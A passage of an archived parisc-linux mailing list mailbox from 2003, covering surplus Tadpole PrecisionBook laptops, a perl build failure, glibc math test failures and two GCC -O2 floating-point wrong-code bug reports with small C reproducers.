	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18122

Re:

(Note: if anyone has a Tadpole/RDI PrecisionBook manual/documentation-set,
I'd be real interested in asking them a couple of questions!)


> I got a hold of them, and they wouldn't stop bothering me. The only
> thing holding me back was the price. It's like $6K US for one of these
> babies... refurbished at that :} That comes out to a few million
> Canadian clams.

They've been popping up regularly on eBay for the last 6 weeks.     
My guess is that some company surplused a *lot* of them.  I picked up
a couple, and have seen a couple more, in the last month.  Every one
has a non-tadpole/RDI asset tag of the form:

   AudFMA-18
   SVID0127xxxxxx   (where the xxxxxx varies from laptop to laptop)

...this includes some from www.surplusvillage.com as well as some
from eBay (via two different sellers).
  

Price paid ranged from $70 to $185.  Of the four seen, one came with a
carrying case.  None had the floppy drive or the docking station / expansion
cable/whatever.  Most had two internal hard drives, but one had the drives
removed and shipped just with the drive "cases" (and the IDE-SCSI converter
card they need).  All have had 256 MB of RAM.

Note: if buying one, try to get the A/C adapter...it's funky.
One or two have had hardware flaws that caused the laptop screen to go
solid white after 5 to 30 minutes of use.

The machines I've seen are PrecisionBook models H16, and have the following
ports/slots:

right side: (from front to back)
   headphones
   mic in
   line in
   speaker out
      (the above are above the battery)
   battery (4500 mAh, Li ion)

   openable compartment with:
      PCMCIA slots (two slots)
      Floppy disk drive connector 

   openable compartment with:
      SCSI connector (50 pin high density; single-ended)

back:  (left to right, viewed from back)
   (power connector, circular 5 pin, screw on)
   docking station (unusual (to me) connector)
   monitor (15-pin standard)
   keyboard (PS-2)
   mouse (PS-2)
   LAN (10 Base T)
   combo parallel/serial/AUI connector (unusual, small connector)
  
left side: 
   two removable disk drives (each in a plastic caddy; the drives
   are IBM 4 GB IDE drives, connected to an IDE -> SCSI converter
   that's also inside the caddy)

underneath:
   (center)
   compartment with access to add-on memory.  (Apparently, up to
   two add-on cards are possible.) 

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] perl/gcc bug if someone wants to look :)
Date: Sun, 30 Mar 2003 16:31:53 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20030331003153.GS11333@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622344 23886 80.91.229.3 (22 Nov 2014 02:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 17:33:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F9C74829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 17:33:18 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F08FBCD295; Sun, 30 Mar 2003 16:31:53 -0800 (PST)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18123

perl-5.8 fails to build on hppa because of a test failure. The problem
can be seen very easily:

tausq@gsyprf11:~/build/perl-5.8.0$ cat t/t.pl
print log "A";
tausq@gsyprf11:~/build/perl-5.8.0$ ./perl t/t.pl
Can't take log of 2.75773e-308 at t/t.pl line 1.

that should have said:
tausq@gsyprf11:~/build/perl-5.8.0$ /usr/bin/perl t/t.pl
Can't take log of 0 at t/t.pl line 1.

interestingly, a debug build of perl (using -g and no -O flags) doesn't
have the same problem, so this looks like some kind of compiler
optimization bug. I've tried this with both 3.2.3 and 3.3... same
problems.

would anyone like to try to look at this some more and see if they can
isolate the C code/a small test case that is causing the problem?

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc/gcc bug -> perl/gcc bug?
Date: Sun, 30 Mar 2003 21:32:40 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20030331023240.GB23960@systemhalted>
References: <20030331003153.GS11333@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622345 23901 80.91.229.3 (22 Nov 2014 02:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 19:32:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2052C4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 19:32:09 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18zp6G-0006S7-00; Sun, 30 Mar 2003 21:32:40 -0500
Mail-Followup-To: carlos@baldric.uwo.ca,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030331003153.GS11333@tausq.org>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18124

> perl-5.8 fails to build on hppa because of a test failure. The problem
> can be seen very easily:
> 
> tausq@gsyprf11:~/build/perl-5.8.0$ cat t/t.pl
> print log "A";
> tausq@gsyprf11:~/build/perl-5.8.0$ ./perl t/t.pl
> Can't take log of 2.75773e-308 at t/t.pl line 1.
> 
> that should have said:
> tausq@gsyprf11:~/build/perl-5.8.0$ /usr/bin/perl t/t.pl
> Can't take log of 0 at t/t.pl line 1.
> 
> interestingly, a debug build of perl (using -g and no -O flags) doesn't
> have the same problem, so this looks like some kind of compiler
> optimization bug. I've tried this with both 3.2.3 and 3.3... same
> problems.
> 
> would anyone like to try to look at this some more and see if they can
> isolate the C code/a small test case that is causing the problem?

Glibc's math tests are still failing even under gcc-3.3 (not to mention
the threading problems I'm in the middle of fixing).

Though I'm seeing more:

Failure: Real part of: cacos (NaN + inf i) == NaN - inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN - inf i) == NaN + inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set

Or:
Failure: Test: Imaginary part of: ctanh (NaN - 0 i) == NaN - 0 i
Result:
 is:          nan   nan
 should be:  -0.00000000000000000000e+00  -0x0.00000000000000000000p+0

Even with a new ulps, the tests were still failing.

c.



From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2
Date: 31 Mar 2003 05:05:40 -0000
Lines: 55
Approved: news@gmane.org
Message-ID: <20030331050540.17826.qmail__7837.4307523065$1416622345$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622345 23918 80.91.229.3 (22 Nov 2014 02:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 22:05:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 253D94829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 22:05:41 -0700 (MST)
Original-Received: (qmail 17827 invoked by uid 48); 31 Mar 2003 05:05:40 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18125

>Category:       target
>Synopsis:       [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          wrong-code
>Submitter-Id:   net
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable) [and others]
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2
003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treela
ng --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-inc
lude-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --w
ithout-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-c
locale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
When compiling the bug.c code below with -O2, the floating point argument to the fprintf does not get reloaded for the second fprintf() call, so the second call prints junk. At -O1 the arguments (r23/r24) are properly reloaded.
>How-To-Repeat:
Compile with gcc -O2 -o bug bug.c -lm
$ ./bug
nan
1.422968e-309

With -O1
$ ./bug
nan
nan

------8< bug.c 8<--------
#include <stdio.h>
#include <math.h>

void doprint(double dval)
{
        fprintf(stdout, "%e\n", dval);
        fprintf(stdout, "%e\n", dval);
}

int main(int argc, char **argv)
{
        doprint(log(-8)); /* nan */
        return 0;
}
>Fix:

>Unformatted:


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] target/10271: [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2
Date: 31 Mar 2003 05:05:40 -0000
Lines: 64
Approved: news@gmane.org
Message-ID: <20030331050540.17826.qmail__10767.4548090019$1416622345$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622345 23934 80.91.229.3 (22 Nov 2014 02:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 22:06:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id BBC504829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 22:06:00 -0700 (MST)
Original-Received: (qmail 17876 invoked by uid 71); 31 Mar 2003 05:06:00 -0000
Resent-Date: 31 Mar 2003 05:06:00 -0000
Resent-Message-ID: <20030331050600.17874.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org,
	Randolph Chung <tausq@debian.org>
Original-Received: (qmail 17827 invoked by uid 48); 31 Mar 2003 05:05:40 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18126

>Number:         10271
>Category:       target
>Synopsis:       [3.0/3.2/3.3/3.4] [HPPA] Floating point args don't get reloaded across function calls at -O2
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          wrong-code
>Submitter-Id:   net
>Arrival-Date:   Mon Mar 31 05:06:00 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable) [and others]
>Organization:
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2
003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treela
ng --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-inc
lude-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --w
ithout-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-c
locale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
When compiling the bug.c code below with -O2, the floating point argument to the fprintf does not get reloaded for the second fprintf() call, so the second call prints junk. At -O1 the arguments (r23/r24) are properly reloaded.
>How-To-Repeat:
Compile with gcc -O2 -o bug bug.c -lm
$ ./bug
nan
1.422968e-309

With -O1
$ ./bug
nan
nan

------8< bug.c 8<--------
#include <stdio.h>
#include <math.h>

void doprint(double dval)
{
        fprintf(stdout, "%e\n", dval);
        fprintf(stdout, "%e\n", dval);
}

int main(int argc, char **argv)
{
        doprint(log(-8)); /* nan */
        return 0;
}
>Fix:

>Release-Note:
>Audit-Trail:
>Unformatted:


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.0/3.2/3.3/3.4] Floating point args not correctly loaded for function calls
Date: 31 Mar 2003 05:23:01 -0000
Lines: 58
Approved: news@gmane.org
Message-ID: <20030331052301.22572.qmail__48814.2000082464$1416622346$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622346 23949 80.91.229.3 (22 Nov 2014 02:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 22:23:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id EB48F4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 22:23:01 -0700 (MST)
Original-Received: (qmail 22573 invoked by uid 48); 31 Mar 2003 05:23:01 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18127

>Category:       target
>Synopsis:       [3.0/3.2/3.3/3.4] Floating point args not correctly loaded for function calls
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          wrong-code
>Submitter-Id:   net
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable) [and others]
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2
003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treela
ng --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-inc
lude-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --w
ithout-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-c
locale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
This one looks similar to 10271, but filing separately because the test case is a bit different. Not sure if it's the same bug or not.

At -O2 the floating point argument is not getting loaded into the right registers to pass to fprintf().
>How-To-Repeat:
$ gcc-3.3 -O2 -o bug bug.c -lm
$ ./bug
-1.488583e+284
$ gcc-3.3 -O1 -o bug bug.c -lm
$ ./bug
nan

-------8< bug.c 8<------------
#include <stdio.h>
#include <math.h>

void doprint(double d)
{
        int i = (int)d;
        if ((double)i == d) {
                fprintf(stdout, "%d\n", i);
        } else {
                fprintf(stdout, "%e\n", d);
        }
}

int main(int argc, char **argv)
{
        doprint(log(-8)); /* nan */
        return 0;
}
>Fix:

>Unformatted:


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] target/10272: [3.0/3.2/3.3/3.4] Floating point args not correctly loaded for function calls
Date: 31 Mar 2003 05:23:01 -0000
Lines: 67
Approved: news@gmane.org
Message-ID: <20030331052301.22572.qmail__5365.08401060036$1416622346$gmane$org@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622346 23958 80.91.229.3 (22 Nov 2014 02:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 30 22:26:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 2D4504829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Mar 2003 22:26:01 -0700 (MST)
Original-Received: (qmail 24818 invoked by uid 71); 31 Mar 2003 05:26:00 -0000
Resent-Date: 31 Mar 2003 05:26:00 -0000
Resent-Message-ID: <20030331052600.24817.qmail@sources.redhat.com>
Resent-From: gcc-gnats@gcc.gnu.org (GNATS Filer)
Resent-To: nobody@gcc.gnu.org
Resent-Cc: gcc-prs@gcc.gnu.org, gcc-bugs@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Resent-Reply-To: gcc-gnats@gcc.gnu.org,
	Randolph Chung <tausq@debian.org>
Original-Received: (qmail 22573 invoked by uid 48); 31 Mar 2003 05:23:01 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: parisc-linux@lists.parisc-linux.org, debian-gcc@lists.debian.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18128

>Number:         10272
>Category:       target
>Synopsis:       [3.0/3.2/3.3/3.4] Floating point args not correctly loaded for function calls
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    unassigned
>State:          open
>Class:          wrong-code
>Submitter-Id:   net
>Arrival-Date:   Mon Mar 31 05:26:00 UTC 2003
>Closed-Date:
>Last-Modified:
>Originator:     Randolph Chung <tausq@debian.org>
>Release:        3.3 20030309 (Debian prerelease) (Debian testing/unstable) [and others]
>Organization:
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2
003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

        <machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treela
ng --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-inc
lude-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --w
ithout-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-c
locale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
This one looks similar to 10271, but filing separately because the test case is a bit different. Not sure if it's the same bug or not.

At -O2 the floating point argument is not getting loaded into the right registers to pass to fprintf().
>How-To-Repeat:
$ gcc-3.3 -O2 -o bug bug.c -lm
$ ./bug
-1.488583e+284
$ gcc-3.3 -O1 -o bug bug.c -lm
$ ./bug
nan

-------8< bug.c 8<------------
#include <stdio.h>
#include <math.h>

void doprint(double d)
{
        int i = (int)d;
        if ((double)i == d) {
                fprintf(stdout, "%d\n", i);
        } else {
                fprintf(stdout, "%e\n", d);
        }
}

int main(int argc, char **argv)
{
        doprint(log(-8)); /* nan */
        return 0;
}
>Fix:

>Release-Note:
>Audit-Trail:
>Unformatted:


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC console problem.
Date: Tue, 01 Apr 2003 12:35:32 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <3E89DBF4.102AC68A@india.hp.com>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622346 23978 80.91.229.3 (22 Nov 2014 02:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 00:06:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22DB74829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 00:06:55 -0700 (MST)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel8.hp.com (Postfix) with ESMTP id C500D1C01332
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 02:06:44 -0500 (EST)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.02) with ESMTP id MAA19735
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 Apr 2003 12:39:16 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
